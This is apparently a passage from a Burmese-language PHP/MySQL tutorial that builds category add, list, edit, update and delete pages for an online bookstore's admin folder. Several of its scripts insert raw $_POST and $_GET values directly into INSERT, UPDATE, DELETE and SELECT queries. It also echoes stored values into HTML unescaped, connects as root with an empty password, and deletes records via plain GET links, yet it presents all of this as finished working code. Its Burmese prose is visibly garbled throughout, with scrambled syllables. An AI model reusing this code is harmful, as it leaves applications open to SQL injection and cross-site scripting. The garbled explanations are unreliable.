|   |-- index.php 
|-- index.php

store Folder အတငွး်မာှ index.php အမညန်ဲ့ File တစ်ခနုဲ့အတူ  admin အမညန်ဲ့ Folder တစ်ခု ထပဆ်င့်
တည်ိ ဆာက်ြထားပါတယ်။  admin Folder  ထမဲာှ  cat-list.php, cat-new.php, cat-add.php,
cat- edit.php, cat-update.php, cat-del.php, index.php အမညရ်ေတဲ့  File  ိတနွဲ့အတူ
confs အမညန်ဲ့ Folder တစ်ခ ုထပဆ်င့်တည ်ိဆာက်ြထားပါတယ်။ confs Folder ထဲမာှလညး် config.php

 ဆုိတဲ့အမည်နဲ့ File  တစခ်ုရိှပါသသးတယ်။

ပထမဆံုးအိနနဲ ့config.php ထမဲာှ အခလုိုိ ရေးသားထည့်သွငး်ိပးပါ။

<?php
  $dbhost = "localhost";
  $dbuser = "root";
  $dbpass = "";
  $dbname = "store";

  $conn = mysqli_connect($dbhost, $dbuser, $dbpass);
  mysqli_select_db($conn, $dbname);
?>

Variable  ိလးခုိ အကြပငာသတမ်တှထ်ားပါတယ်။  $dbhost Variable  ကြ Database Server  လပိစ်ာထည့်သွငး်
ိပးဖေို့  ပဖေစ်ပါတယ်။  localhost လို့သတမ်တှထ်ားပါတယ်။  $dbuser Variable  မာှိတာ့  Database  User
Name အပဖေစ်  root ကုိြ သတမ်တှ်ိ ပးထားပါတယ်။  $dbpass Variable  မာှ  Database Password သတမ်တှ်
ိပးဖေို့ပဖေစ်ပါတယ်။ ဒါိပမယ့်  root User  အတက်ွြ  Password  သတမ်တှမ်ထားလို့  Quote  အဖေငွ့်အပတိအ်လတွ်
တစ်ခပုဲ  ထည့်ိ ပးထားပါတယ်။  $dbname Variable  မာှ  Database  အမညအ်ိနနဲ့  ကြျွန်ိ တာတ်ို့  အသင့်တည်
ိဆာက်ြထားပပီးပဖေစ်တဲ့ store ကုိြ ထည့်သွငး်သတ် မတှထ်ားပါတယ်။

ိနာက်ြတစ်ဆင့်မာှ  mysqli_connect() Function  ကုိြ အသံုးပပုပပးီ  Database Server  ကုိြ ချတိဆ်က်ြထားပါ
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တယ်။ ဒလီို ချတိဆ်က်ြတဲ့အခါ Host Name, User Name နဲ့ Password တို့ကုိြ ထည့်သွင်းိပးရေပါတယ်။ ဒါိအကြာင့်
$dbhost,  $dbuser နဲ့  $dbpass Variable  တို့ကုိြ  အစဉလ်ိုက်ြထည့်သွင်းိပးလိုက်ြပခငး်ပဖေစ်ပါတယ်။
mysqli_connect() Function ကြ ပပန်ိ ပးလာတဲ့ Resource ID ကုိြ $conn Variable နဲ့လက်ြခထံားပါိသး
တယ်။  PHP ကြ တစ်ချို ့အချက်ြ အလက်ြိတကုိွြ External Resource အပဖေစ်သးီပခားခွဲပပးီသမိး်ထားတက်ြပါတယ်။
Resource ID  ဆုိတာ အ့ဲဒအီချက်ြအလက်ြများ သိမး်ဆညး်ထားတဲ့ ိနရောကုိြညနွပ်ပတဲ့ အမတှအ်သားတစ်ခု  ပဖေစ်ပါ
တယ်။ mysqli_connect() Function ကြ Resource ID တစ်ခပုပန်ိ ပးိလရ့ေှိပပးီ တစ်ချို ့ကိြစ္စ တ ွိဆာငရ်ေက်ွြ
ဖေို့ အ့ဲဒ ီ ID လုိအပလ်ာမာှပဖေစ်လို့ $conn Variable နဲ့ ID ကုိြ လက်ြခ ံထည့်သွငး်ိစပခင်းပဖေစ်ပါတယ်။

ိနာက်ြတစ်လိုငး်မာှ mysqli_select_db() Function ကုိြသံုးပပးီ အသံုးပပုလိုတဲ့ Database ကုိြိရေးွိပးထားပါ
တယ်။  ချတိဆ်က်ြထားတဲ့   Connection  Resource  ID  နဲ့  Database  အမညကုိ်ြိပးရေမာှပဖေစ်လို့  $conn နဲ့
$dbname တို့ကုိြ ထည့်သွငး်ိပးထားပခငး် ပဖေစ်ပါတယ။်

ဒလီပု်ိ ဆာငခ်ျက်ြနစ်ှခပုဖေစ်တဲ့  Database Server  ကုိြချတိဆ်က်ြပခငး်နဲ့  အသံုးပပုမယ့်  Database  ိရေးွချယ်ိပးပခငး်
တို့ဟာ  Database  နဲ့  အလပုတ်စ်ခခုု  လပုလ်ိုတိုငး်  ိဆာငရ်ေက်ွြရေမယ့်  ကိြစ္စ တပွဖေစ်ပါတယ။်  တစ်နညး်အားပဖေင့်
ခဏခဏိရေးရေမယ့် Statement နစ်ှခပုါ။ ဒါိအကြာင့်  config.php အိနနဲ့ သီးပခားခွဲပပီးိရေးသားလိုက်ြပခငး်ပဖေစ် ပါ
တယ်။  ဒလီိုသီးပခားခွဲိ ရေးထားတဲ့အတက်ွြ  ထပခ်ါထပခ်ါပပန်  ိရေးဖေိုမ့လိို တာပ့ဲ  Database  နဲ့အလပုလ်ပုလ်ိုတိုငး်
config.php ကုိြ  Include လုပလ်ိုက်ြယံုနဲ့  Server  ချတိဆ်က်ြပခငး်နဲ့  Database  ိရေးွချယ်ပခငး်တိုကုိ့ြ ိဆာငရ်ေက်ွြ
ပပးီစီးသွားိစမာှပဖေစ်ပါတယ်။

ဆက်ြလက်ြပပးီ cat-new.php ထဲမာှ categories Table ထကုိဲြထည့်သွငး်ရေမယ့် အချက်ြအလက်ြိတ ွပဖေည့်စွက်ြ
နိုငတ်ဲ့  Form  တစ်ခု  ထည့်သွင်းချငပ်ါတယ်။  HTML Structure  အပပည့်အစံုကုိြိတာ့  စာဖေတသူ်ကုိြယတ်ိုငပ်ထဲည့်
ိပးပါ။ <body> အတငွး်မာှသာ ဒ ီForm ကုိြကူြးယူိရေးသားိပးပါ။

<h1>New Category</h1>

<form action="cat-add.php" method="post"> 
  <label for="name">Category Name</label>
  <input type="text" name="name" id="name">
  
  <label for="remark">Remark</label> 
  <textarea name="remark" id="remark"></textarea>
  
  <br><br>
  <input type="submit" value="Add Category"> 
</form>

အကြည့်ရေတာပိုအဆင်ိ ပပိစဖေို့အတက်ွြ CSS တစ်ချို ့ကုိြလညး် <style> အဖေငွ့်အပတိန်ဲ့ထည့်သွငး်ိရေးသားိပးပါဦး။
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form label {
  display: block;
  margin-top: 8px;
}

Form ရေဲ့  action မာှ cat-add.php လိုိ့ ပးထားပါတယ်။ ဒါိအကြာင့် Form မာှ အချက်ြအလက်ြိတ ွပဖေည့်သွငး်
ပပးီ  Submit  လပုလ်ိုက်ြရေင်  ပဖေည့်သွင်းထားတဲ့  name နဲ့  remark ကုိြ  cat-add.php ကုိြပို့ိ ပးသွားိစမာှပဖေစ်ပါ
တယ်။  ဒါိအကြာင့်  cat-add.php မာှ  ိပးပို့  လာတဲ့အချက်ြအလက်ြိတကုိွြ   categories Table  ထကုိဲြ
ထည့်သွငး်ိပးတဲ့ Code ကုိြ ိရေးသားိပးရေမာှပါ။ HTML ိတမွလိုပါဘူး။ PHP Code ချညး်သက်ြသက်ြပါ။ ကူြးယူ
ထည့်သွငး်ိပးပါ။

<?php 
  include("confs/config.php"); 
  $name = $_POST['name']; 
  $remark = $_POST['remark']; 
  $sql = "INSERT INTO categories (name, remark, created_date,
          modified_date) VALUES ('$name', '$remark', now(), now())"; 

  mysqli_query($conn, $sql);

  header("location: cat-list.php"); 
?> 

confs Folder  ထဲကြ  config.php ကုိြ  Include  လပုထ်ားတဲ့အတက်ွြ  Database  Server  ချတိဆ်က်ြပခငး်နဲ့
store Database  ကုိြိရေးွချယ်ပခငး်လပုင်နး်များ  ိဆာငရ်ေက်ွြပပးီပဖေစ်ိစပါတယ်။  ချတိဆ်က်ြထားတဲ့  Connection
Resource ID  ဟာလညး်  $conn Variable  ထမဲာှ အသင့်ရေှိိ နမာှ ပဖေစ်ပါတယ်။ ဆက်ြလက်ြပပးီ  Request  နဲ့အတူ
ပါဝငလ်ာတဲ့ အချက်ြ အလက်ြိတကုိွြ $name, $remark Variable များနဲ့ လက်ြခရံေယူပါတယ်။ 

ိနာက်ြတစ်ဆင့်မာှ  INSERT Query  တစ်ခကုိုြ  $sql Variable  ထမဲာှ  ိရေးသားထည့်သွငး်ိပးထားပါတယ်။
ထည့်သွငး်မယ့်  Table  ကြ  categories Table  ပဖေစ်ပပးီ ထည့်သွငး်မယ့်  VALUES အိနနဲ့ လက်ြခရံေရေှိထားတဲ့
$name နဲ့  $remark တို့ကုိြ သတမ်တှ်ိ ပးထားပါတယ်။  ဆက်ြလက်ြပပးီ  mysqli_query() Function ကုိြသံုး
ပပးီ INSERT Query ကုိြ အလပုလ်ပု်ိ စလိုက်ြပါတယ်။ mysqli_query() ကုိြ အသံုးပပုတဲ့အခါ Parameter နစ်ှခု
ိပးရေပါတယ်။  ပထမတစ်ခကုြ  Database  ချတိဆ်က်ြထားတဲ့  Connection  ပဖေစ်ပပးီ  ဒတုယိတစ်ခကုြိတာ့  SQL
Query ပဖေစ်ပါတယ်။ ဒါိအကြာင့်  $conn ကုိြ ပထမ Parameter  အပဖေစ်ိပးလိုက်ြပပးီ  $sql ကုိြ ဒတုယိ Parameter
အပဖေစ် ိပးလိုက်ြပခင်းပ ဲပဖေစ်ပါတယ်။

အချက်ြအလက်ြိတ ွ Table  ထကုိဲြထည့်သွငး်ပခငး်၊  ပပငဆ်ငပ်ခင်းတို့ကုိြ  PHP  ကြ တိုက်ြရုိက်ြ  ပပုလပုမ်ိပးပါဘးူ။ သူ
လပု်ိ ပးသွားတာကြ mysqli_query() Function ကုိြသံုးပပးီ SQL Query ိတကုိွြ Database Server ထံိ ပးပို့
အလပုလ်ပု်ိ စပခငး်သာ ပဖေစ်ပါတယ။် ိပးပို့လိုက်ြတဲ့ INSERT Query အလပုလ်ပုသွ်ားတဲ့အတက်ွြ Request နဲ့ အတူ
ပါဝငလ်ာတဲ့ တနဖ်ေိုးိတကုိွြ အသံုးပပုပပးီ categories Table ထဲကုိြ Record အသစ်တစ်ခု ထည့်သွငး်ိပးသွားမာှ
ပ ဲပဖေစ်ပါတယ်။
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Query ိပးပို့ပပးီိနာက်ြတစ်ဆင့်မာှ  cat-list.php ကုိြ  Redirect  လပုခ်ိုငး်ထားပါတယ်။ ဒါိအကြာင့် စမး်သပမ်
အကြည့်  ခင်  cat-list.php မာှ  categories Table  အတငွး်မာှ  ရေှိိ နတဲ့  Record  ိတကုိွြိဖောပ်ပိပးတဲ့
လပု်ိ ဆာငခ်ျက်ြကုိြ အရေင်ိ ရေးသားပါဦးမယ်။  HTML  အပပည့်အစံုကုိြ ကုိြယ်တိုင်ိ ရေးသားပပီး  ိအာက်ြမာှိပးထားတဲ့
Code ိတကုိွြ <body> အတငွး်မာှ ကူြးယူထည့်သွငး်ိပးပါ - 

<h1>Category List</h1> 
<?php 
  include("confs/config.php"); 
  $result = mysqli_query($conn, "SELECT * FROM categories"); 
?> 
<ul> 
  <?php while($row = mysqli_fetch_assoc($result)): ?> 
    <li title="<?php echo $row['remark'] ?>">
      <?php echo $row['name'] ?>
    </li> 
  <?php endwhile; ?> 
</ul> 

<a href="cat-new.php" class="new">New Category</a>

Database  နဲ့  အလပုလ်ပု်ိ တာမ့ာှမို့  ထံုးစံအတိုငး်  config.php ကုိြ  Include  လုပထ်ားပါတယ်။  ပပးီိတာမ့ှ
mysqli_query() Function  သံုးပပးီ  SELECT Query  တစ်ခကုိုြ ိပးပို့လိုက်ြပါတယ်။ ထးူပခားချက်ြကြ ဒတီစ်
ကကိြမမ်ာှ mysqli_query() ကြပပန်ိ ပးလာတဲ့ တနဖ်ေိုးကုိြ $result Variable နဲ့ လက်ြခထံားပခင်း ပဖေစ်ပါတယ်။
$result Variable  မာှ  SELECT Query  ကြ ပပန်ိ ပးလာတဲ့  Resource ID  တစ်ခရုေှိိ နမာှ ပဖေစ်ပါတယ်။ အ့ဲဒီ
Resource ID  ကုိြအသံုးပပုပပီး  အချက်ြအလက်ြိတကုိွြ  mysqli_fetch_assoc() Function  နဲ့  ရေယူထားပါ
တယ်။

mysqli_fetch_assoc() Function  ကြ တစ်ကကိြမ်အလပုလ်ပုတ်ိုငး်ိပးလာတဲ့  Resource  ထဲကြိန Record
တစ်ိအကြာငး်ကုိြ ဆဲွထတုပ်ပးီ Associative Array တစ်ခအုပဖေစ် ိပပာငး်ထားိပးပါတယ်။  Column Name ိတကုိွြ
Array  Index  အပဖေစ်သတမ်တှပ်ပးီ  Record  တနဖ်ေိုးိတကွြိတာ့  Array  Value  အိနနဲ့  စီစဉထ်ားိပးမာှပဖေစ်ပါ
တယ်။  Resource  ထမဲာှ  Record  (၅)  ိအကြာငး်ရေှိရေင်  mysqli_fetch_assoc() Function  (၅)  ခါိရေးပပးီ
ဆဲွထတုန်ိုငပ်ါတယ်။ Record ရေှိသိလာက်ြအကုြန် ဆဲွထတုခ်ျငတ်ဲ့အခါ၊ နမနူာမာှ ိရေးသားထားသလို Loop လပုပ်ပးီ
ထတုယူ်နိုငပ်ါတယ်။  while Loop  ကြိတာထ့ုံးစံအတိုငး်  ဝိုက်ြကွြငး်အဖေငွ့အ်ပတိထ်ကဲြ တနဖ်ေိုး  True  ပဖေစ်ိနသမျှ
အလပုလ်ပု်ိ နမာှပါ။  ဝိုက်ြကွြငး်အဖေငွ့အ်ပတိထ်မဲာှ  ိရေးသားထားတဲ့  mysqli_fetch_assoc() Function  ကြ
Record ိတကုိွြဆွထဲတုရ်ေယူ လုိက်ြတိုငး် Associative Array တစ်ခပုပန်ိ ပးိနလို့  ဝိုက်ြကွြင်းထကဲြ တနဖ်ေိုးကုိြ True
ပဖေစ်ိနိစပါတယ်။ ဒနီညး်နဲ့  while Loop ကြ Record ိတ ွထုတယူ်ရေရေှိိ နသမျှ အကကိြမက်ကိြမ် အလပုလ်ပုသွ်ားပပးီ၊
ိနာက်ြဆံုးဆွထဲတုစ်ရော  Record  မကြျန်ိ တာတ့ဲ့အခါ  mysqli_fetch_assoc() ကြ  False  တနဖ်ေိုးတစ်ခပုပန်
ိပးမာှ ပဖေစ်ပါတယ်။ အ့ဲဒအီခါ ဝိုက်ြကွြငး် ထဲကြတနဖ်ေိုးလညး်  False  ပဖေစ်သွားတဲ့အတက်ွြ  Loop  လညး် အဆံုးသတ်
သွားမာှ ပဖေစ်ပါတယ်။
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မတ်ှချကြ် ။ ။ mysqli_fetch_assoc() Function အစား mysqli_fetch_row() နဲ့ mysqli_fetch_array()
တုိက့ြိုလညး် အသုံးပပုနိုငပ်ါတယ။်  mysqli_fetch_row() ကြ Record ိတွကြိုရုိးရုိး  Numeric Array အိနနဲ့ရေယူိ ပးမာှ
ပဖေစပ်ါတယ။်  mysqli_fetch_array() ကြိတာ့  Record  ိတွကြို  Numeric Array  အိနနဲ့ ိရော  Associative Array
အိနနဲ့ ပါ နစှမ်ျိုးလံုး အသုံးပပုနိုင်ိ အာငစ်စီဉထ်ားိပးမာှပဖေစပ်ါ တယ။်  mysqli_fetch_row() ကြ Array Index  ိတွကြို
နပံါတ်စဉန်ဲ့ စစီဉထ်ားမာှပဖေစလုိ့် Column အစအီစဉမ်မတ်ှမရိေင် သုံးလုိအ့ဆင်ိ ပပမာှ မဟတ်ုပါဘးူ။ Table မာှ Column ိတွများ
တ့ဲအခါ  Column  အစအီစဉက်ြို  မတ်ှရေခကြလ်ာတကြပ်ါတယ။်  Column  အမည်ိ တွကြိတာ့  မတ်ှမလွိယ်  တကြပ်ါတယ။်
mysqli_fetch_array() ကြလညး်  Record  တစခ်တုညး်ကြို  Array  နစှမ်ျိုးအိနနဲ့  နစှဆ်ပပငဆ်ငထ်ားိပးလုိ့  ပိုိ နပါ
တယ။်ဒါိအကြာင့် နမနူာိတွမာှိတာ ့mysqli_fetch_assoc() ကြိုသာ ဆကြလ်ကြအ်သုံးပပုိဖောပ်ပသာွးမာှ ပဖေစပ်ါတယ။်

Loop  အစပဖေစ်တဲ့  while နဲ့  အဆံုးပဖေစ်တဲ့  endwhile အတငွး်မာှ  <li> Element  တစ်ခကုိုြိရေးသားထားပါ
တယ်။  Loop  ရေဲ့  ဝိုက်ြကွြငး်ထမဲာှ  $row Variable  ထဲကုိြ  mysqli_fetch_assoc() နဲ့  Record  တစ်ခကုိုြ
Associate Array အိနနဲ့ ရေယူထည့်သွင်းထားတာကုိြ သတပိပုပါ။  name Column မာှရေှိိ နတဲ့ တနဖ်ေိုးကုိြိဖောပ်ပိစ
လိုတဲ့အတက်ွြ  $row["name"]  ကုိြ  Element  Content  အပဖေစ်ရုိက်ြထတုထ်ားပါတယ်။  title Attribute  ရေဲ့
Value အိနနဲ့လညး်  $row["remark"] Index ကုိြ ရုိက်ြထတုထ်ားပါိသးတယ်။ ရေလဒအ်ိနနဲ့ categories
Table ထဲကြ name ိတကုိွြပဲ <li> Element နဲ့ တနး်စီ ိဖောပ်ပသွားမာှပဖေစ်ပပးီ <li> ကုိြ Mouse နဲ့ ိထာက်ြလိုက်ြ
ရေင်  remark ကုိြ  Tooltip  အိနနဲ့ိ ဖောပ်ပိပးသွားမာှ  ပဖေစ်ပါတယ်။  အခုိ န Browser  URL  Bar  မာှ
http://localhost/  store/admin/  cat-list.php   လို့ရိက်ုြအကြည့်ရေင ်ပုံ (၇-ည) မာှိဖောပ်ပထားသလို ရေလဒရ်ေရေှိိ နမာှပါ။

ပုံ (၇-ည) Category List

cat-new.php ကုိြသွားလို့ရေနိုငမ်ယ့် New Category Link တစ်ခလုညး်ထည့်သွငး်ိပးထားပါိသးတယ်။ cat-
new.php နဲ့  cat-add.php တို့အတက်ွြလိုအပတ်ဲ့  Code  ိတကုိွြ ကြျွန်ိ တာတ်ိုိ့ ရေးသားထားခဲ့ပပးီပဖေစ်လို့ စာအုပ်
အမျို းအစား  Category အသစ်ိတထွည့်သွငး်ပပးီ စမး်သပအ်ကြည့်နိုငပ်ါပပ။ီ

ဆက်ြလက်ြပပးီ  ပယ်ဖေျက်ြလိုတဲ့  Record  ိတကုိွြပယ်ဖေျက်ြနိငုဖ်ေို့အတက်ွြ  Delete  လုပ်ိ ဆာငခ်ျက်ြကုိြသက်ြဆုိငရ်ော
Category နဲ့ တဲွဖေက်ြထည့်သွငး်ိပးချငပ်ါတယ။် ဒါိအကြာင့်  cat-list.php မာှိရေးသားထားတဲ့  Code ိတကုိွြ
အခလုို ပပငဆ်င် ပဖေည့်စွက်ြိပးလိုက်ြပါ။

http://localhost/store/admin/cat-list.php
http://localhost/store/admin/
http://localhost/
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<h1>Category List</h1> 
<?php 
  include("confs/config.php"); 
  $result = mysqli_query($conn, "SELECT * FROM categories"); 
?> 
<ul> 
  <?php while($row = mysqli_fetch_assoc($result)): ?> 
    <li title="<?php echo $row['remark'] ?>">
     [ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
     <?php echo $row['name'] ?>
    </li> 
  <?php endwhile; ?> 
</ul> 

<a href="cat-new.php" class="new">New Category</a>

Category  တစ်ခခုျငး်စီနဲအ့တူ  cat-del.php ကုိြသွားတဲ့  Link  ိတ ွ တွဲဖေက်ြထည့်သွင်းိပးလိုက်ြပခငး်ပဖေစ်ပါ
တယ်။ ထးူပခားချက်ြကြိတာ့  cat-del.php ကုိြသွားတဲ့အခါ သက်ြဆုိရေငရ်ော  Record  ရေဲ့  id ကုိြ  URL Query
အိနနဲ့  တွဲဖေက်ြ  ထည့်သွငး်ိပးထားပခငး်ပဖေစ်ပါတယ်။  cat-del.php မာှိတာ့  URL  Query  အိနနဲ့
လက်ြဆင့်ကြမ်းပါဝငလ်ာတဲ့  id  ကုိြ လက်ြခရံေယူပပးီ အ့ဲဒီ  id  နဲ့ ကုိြက်ြညတီဲ့  Record ကုိြ ပယ်ဖေျက်ြတဲ့ လုပ်ိ ဆာင်
ချက်ြိရေးသားိပးရေ မာှပဖေစ်ပါတယ်။

<?php 
  include("confs/config.php"); 

  $id = $_GET['id']; 
  $sql = "DELETE FROM categories WHERE id = $id"; 
  mysqli_query($conn, $sql); 

  header("location: cat-list.php"); 
?>

ိပးပို့လာတဲ့ id ကုိြ WHERE Keyword နဲ့တွဲဖေက်ြိပးထားတဲ့ DELETE Query တစ်ခကုိုြအလပုလ်ပု်ိ စတဲ့ အတက်ွြ
သက်ြဆိငုရ်ော  Record  ကုိြပယ်ဖေျက်ြိပးသွားမာှပါ။  cat-list.php ကုိြ  Redirect  လုပ်ိ ပးဖေိုလ့ညး် ထည့်သွငး်
ထားပါတယ်။  အခုိ န http://localhost/store/admin/cat-list.php မာှသွားအကြည့်ရေင်  ပုံ  (၇-ဋ) မာှပပထားသလို
သက်ြ ဆုိငရ်ော Category ိရေှ့မာှ del Link ိလးိတတွွဲဖေက်ြပါဝင်ိ နတာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။

http://localhost/store/admin/cat-list.php
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ပုံ (၇-ဋ) Category List with Delete Link

သက်ြဆိငုရ်ော del ကုိြ နှိပပ်ခငး်အားပဖေင့် Category ိတကုိွြပယ်ဖေျက်ြနိုငပ်ပပီဖေစ်ပါတယ်။ စမး်သပအ်ကြည့်ပါ။

ဆက်ြလက်ြပပးီ  Category  ိတကုိွြပပငဆ်ငန်ိုငဖ်ေို့  Edit  လုပ်ိ ဆာငခ်ျက်ြကုိြထည့်သွငး်ပါမယ်။  cat-list.php မာှ
အခလုိုပဖေည့်စွက်ြိပးပါဦး။

<h1>Category List</h1> 
<?php 
  include("confs/config.php"); 
  $result = mysqli_query($conn, "SELECT * FROM categories"); 
?> 

<ul> 
  <?php while($row = mysqli_fetch_assoc($result)): ?> 
    <li title="<?php echo $row['remark'] ?>">
     [ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
     [ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ]
     <?php echo $row['name'] ?>
    </li> 
  <?php endwhile; ?> 
</ul> 

<a href="cat-new.php" class="new">New Category</a>

ပပးီခဲ့တဲ့အဆင့်မာှ del Link  ိတထွည့်သွငး်ခဲသ့လိုပဲ  cat-edit.php ကုိြသွားနိုငတ်ဲ့  edit Link  ိတကုိွြ
ထည့်သွငး် ိပးလိုက်ြပခင်းပဖေစ်ပါတယ်။ သူမ့ာှလညး် သက်ြဆုိငရ်ော id ကုိြ Query String အိနနဲ့ထည့်သွင်းိပးထား
ပါတယ်။  cat-edit.php မာှ  Edit  Form  ထည့်သွငး်ိရေးသားမာှပဖေစ်လို့  ထံုးစံအတိုငး်  HTML  အပပည့်အစံု
ိရေးသားိပးပါ။ ပပးီတဲ့အခါ <body> အတငွး်မာှမှ ိပးထားတဲ့ Code ိတကုိွြ ကူြးယူထည့်သွငး်ိပးပါ။
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<h1>Edit Category</h1> 

<?php 
  include("confs/config.php"); 

  $id = $_GET['id'];
  $result = mysqli_query($conn, "SELECT * FROM categories WHERE id = $id"); 
  $row = mysqli_fetch_assoc($result); 
?> 

<form action="cat-update.php" method="post"> 
  <input type="hidden" name="id" value="<?php echo $row['id'] ?>"> 

  <label for="name">Category Name</label>
  <input type="text" name="name" id="name" 
           value="<?php echo $row['name'] ?>">

  <label for="remark">Remark</label>
  <textarea name="remark" 
       id="remark"><?php echo $row['remark'] ?></textarea>

  <br><br>
  <input type="submit" value="Update Category"> 
</form>

အကြည့်ရောတာအဆင်ိ ပပိစဖေိုအ့တက်ွြ CSS တစ်ချို ့ကုိြလညး် <style> အဖေငွ့်အပတိန်ဲ ့ထည့်သွင်းိရေးသားိပးပါဦး။

form label {
  display: block;
  margin-top: 8px;
}

Edit Form ကုိြ New Form တနုး်ကြလို Form ချညး်သက်ြသက်ြိဖောပ်ပလို့ မရေိတာပ့ါဘးူ။ ပပငဆ်ငဖ်ေို့ ိရေးွချယ်လိုက်ြ
တဲ့  Record နဲ့သကြဆုိ်ငတ်ဲ့ အချက်ြအလက်ြိတကုိွြ Form Input  ိတထွမဲာှ တွဲဖေက်ြိဖောပ်ပဖေို့လိုအပလ်ာပါတယ်။ ဒါ
ိအကြာင့် Form မိရေးသားခင် Database နဲ့ချတိဆ်က်ြပခင်း၊ URL Query String နဲ့အတပူါလာတဲ့  id ကုိြအသံုးပပု
ပပးီ  SELECT Query  ိပးပို့ပခငး်တိုကုိ့ြအရေင်ိ ဆာငရ်ေက်ွြထားပါတယ်။  Category  List  Page  မာှတနုး်ကြ
mysqli_fetch_assoc() Function ကုိြ Loop လုပပ်ပးီ Record ိတရွေယူခဲ့ရေပါတယ်။ ဒ ီEdit From မာှိတာ့
SELECT Query  ိပးပို့ကြတညး်ကြ  id ကုိြ  WHERE Keyword  နဲ့အတူ  တဲွဖေက်ြိပးလိုက်ြလို့  ပပနလ်ညရ်ေရေှိမယ့်
Record ကြ တစ်ိအကြာငး်တညး်ပဖေစ်မာှ ိသချာိနပါတယ်။ categories Table မာှ id ကြ PRIMARY ဆုိိတာ့
id တစ်ခအုတက်ွြ  Record  နစ်ှခရုေှိစရော  အိအကြာငး်မရေှိပါဘးူ။  ဒါိအကြာင့်  Loop  မလပု်ိ တာပ့ဲ
mysqli_fetch_assoc() Function  ကုိြ  တစ်ကကိြမအ်လပုလ်ပု်ိ စပပးီ  ရေလဒကုိ်ြ  $row Variable  ထမဲာှ
Associative Array အပဖေစ်ရေယူထားလိုက်ြပါတယ်။

HTML Form ိရေးသားတဲ့အခါ Form Input ိတရွေဲ့  Value အိနနဲ့ Database ထကဲြိန ရေရေှိထားတဲ့ သက်ြဆုိငရ်ော
တနဖ်ေိုးိတကုိွြ လိုက်ြလထံည့်သွငး်ရုိက်ြထတု်ိ စထားပါတယ်။ ထးူပခားချက်ြအိနနဲ့ id ကုိြလညး် Hidden Input တစ်
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ခု အိနနဲ့ထည့်သွငး်ိပးထားပါိသးတယ်။ ဒါမသှာ  Form ကုိြ Submit လုပလ်ိုက်ြတဲ့ အခါ ပပငဆ်ငထ်ားတဲ့ name,
remark စတဲ့တနဖ်ေိုးိတနွဲ့အတူ  id ကုိြလညး်  တွဲဖေက်ြိပးပို့သွားိစမာှပဖေစ်  ပါတယ်။  Hidden  Input  ပဖေစ်လို့
အသံုးပပုသူကြ ပမငရ်ေမာှမဟတုသ်လို ပပငဆ်ငလ်ို့လညး်ရေမာှ မဟတုပ်ါဘူး။ categories Table ကုိြ Update လုပ်
တဲ့  အလပုကုိ်ြလပုတ်ဲ့အခါ  Update  လုပလ်ိုတဲ့  Record  id ပါဝငဖ်ေိုလ့ိုအပ်  တဲ့အတက်ွြ  လက်ြဆင့်ကြမ်းထည့်သွင်း
ိပးလိုက်ြတဲ့သိဘာပါ။  Form  action အိနနဲ့  cat-update.php ကုိြသတမ်တှ်ိ ပးထားပါတယ်။  cat-
update.php မာှ categories Table ကုိြ Update လပု်ိ ပးတဲ့ လုပ်ိ ဆာငခ်ျက်ြကုိြ ိရေးသားိပးရေမာှပါ။

<?php 
  include("confs/config.php"); 

  $id = $_POST['id']; 
  $name = $_POST['name']; 
  $remark = $_POST['remark']; 

  $sql = "UPDATE categories SET name='$name', remark='$remark',
          modified_date=now() WHERE id = $id"; 
  mysqli_query($conn, $sql); 

  header("location: cat-list.php"); 
?>

Form ကြိပးပို့လာတဲ့  id, name နဲ့ remark တို့ကုိြလက်ြခရံေယူပပီး UPDATE Query တစ်ခု ိပးပို့လိုက်ြပခငး် ပဖေစ်
ပါ တယ်။  Update  လုပပ်ပးီိနာက်ြ  cat-list.php ကုိြပဲ  Redirect  ပပနလ်ပု်ိ ပးသွားဖေို့  သတမ်တှထ်ားပါတယ်။
အခုိ န http://localhost/store/admin/cat-list.php မာှ  သွားအကြည့်ရေင်  ပုံ  (၇-ဌ) မာှပပထားသလိုသက်ြဆိငုရ်ော
Category နဲ့အတူ del နဲ့  edit Link ိတတွွဲဖေက်ြပါဝင်ိ နမာှပဖေစ်ပါတယ်။ ပပငဆ်ငလ်ိုတဲ့ Category ရေဲ့   edit ကုိြနှိပ်
ပပးီ စတင ်ပပငဆ်ငန်ိုငပ်ပပီဖေစပ်ါတယ်။ စမး်သပအ်ကြည့်ပါ။

ပုံ (၇-ဌ) Category List with Complete CRUD

အခုဆုိရေင် categories Table အတက်ွြ Record များထည့်သွငး်ပခငး်၊ ပယ်ဖေျက်ြပခငး်၊ ပပငဆ်ငပ်ခငး်စတဲ့ ကိြစ္စ တွ
စီမနံိုငတ်ဲ့  CRUD  လုပ်ိ ဆာငခ်ျက်ြိတပွပည့်စံုပါပပ။ီ  ရေရေှိပပးီလပု်ိ ဆာငခ်ျက်ြိတကုိွြ  ကြျွန်ိ တာတ်ို့  ဆက်ြလက်ြ

http://localhost/store/admin/cat-list.php
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တည်ိ ဆာက်ြသွားမယ့် Online Book Store ရေဲ့အစိတ်အပိုငး်တစ်ခအုိနနဲ ့အသံုးပပုသွားမာှပဖေစ်ပါတယ။်

တည်ိ ဆာက်ြမယ့် Online Book Store မာှ အစိတအ်ပိုင်းနစ်ှရေပပ်ါဝငမ်ာှပါ။ တစ်ခကုြ Store မာှ ရေှိိ နတဲ့စာအုပ်ိ တွ
ကုိြ စီမနံိုငတ်ဲ့ Admin Interface ပဖေစ်ပပးီ၊ ိနာက်ြတစ်ခကုြိတာ့ ိဈေးဝယ်ယူသူကြ စာအုပ်ိ တ ွိရေးွချယ်ဝယ်ယူနိငု်ိ စ
မယ့် Shopping Cart Interface တို့ပပဲဖေစ်ပါတယ်။ 

Shopping Interface  ကုိြ  store Folder  ထမဲာှ ိရေးသားတည်ိ ဆာက်ြမာှပဖေစ်ပပးီ၊  Admin Interface  ကုိြိတာ့
store Folder  ထဲကြ  admin Folder  ထမဲာှ ိရေးသားတည်ိ ဆာက်ြမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့်လညး်  Category
အတက်ွြ CRUD လုပင်နး်စဉမ်ျားကိြ ုadmin Folder ထမဲာှ ိရေးသားခဲ့ပခငး်ပဖေစ်ပါတယ်။ 

7.5 - Online Book Store - Admin Interface
